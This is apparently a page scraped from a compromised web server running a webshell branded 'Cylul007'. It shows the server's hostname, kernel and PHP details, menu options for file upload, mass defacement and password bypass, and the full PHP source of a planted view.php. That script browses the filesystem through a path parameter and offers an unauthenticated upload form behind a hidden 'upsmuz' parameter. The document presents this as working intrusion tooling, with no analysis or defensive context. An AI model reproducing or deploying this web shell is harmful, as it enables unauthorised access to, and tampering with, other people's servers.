Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 15:40:33
Current Directory :
/
home
/
amvm
/
public_html
/
behakfattu
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/public_html/behakfattu/view.php
<?php // Mendapatkan path dari query string atau menggunakan direktori saat ini $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); // Menghindari path traversal attack $path = realpath($path); if ($path === false) { $path = getcwd(); } // Mengatur direktori kerja saat ini chdir($path); // Mengubah backslashes menjadi forward slashes $path = str_replace('\\', '/', $path); $paths = explode('/', $path); echo "<a class='text-decoration-none text-light anu' href='" . $_SERVER['PHP_SELF'] . "'><h1>Back to path Shell</h1></a>"; foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { echo "<i class='bi bi-hdd-rack'></i>:<a class='text-decoration-none text-light' href='?path=/'>/</a>"; continue; } if ($pat == '') continue; echo "<a class='text-decoration-none text-light' href='?path="; for ($i = 0; $i <= $id; $i++) { echo htmlspecialchars($paths[$i]); if ($i != $id) echo "/"; } echo "'>" . htmlspecialchars($pat) . "</a>/"; } // Menampilkan form upload file jika parameter 'upsmuz' ada if (isset($_GET['upsmuz'])) { echo "<h2>Upload File</h2>"; echo "<form action='' method='post' enctype='multipart/form-data'>"; echo "<input type='file' name='fileToUpload' id='fileToUpload'>"; echo "<input type='submit' value='Upload File' name='submit'>"; echo "</form>"; if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['fileToUpload'])) { $target_file = $path . DIRECTORY_SEPARATOR . basename($_FILES['fileToUpload']['name']); if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) { echo "The file " . htmlspecialchars(basename($_FILES['fileToUpload']['name'])) . " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } // Mendapatkan daftar file dan direktori $scand = scandir($path); echo "<ul>"; foreach ($scand as $file) { if ($file === '.' || $file === '..') continue; $filePath = $path . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { echo "<li><a class='text-decoration-none text-light' href='?path=" . urlencode($filePath) . "'>" . htmlspecialchars($file) . "/</a></li>"; } else { echo "<li>" . htmlspecialchars($file) . "</li>"; } } echo "</ul>"; ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18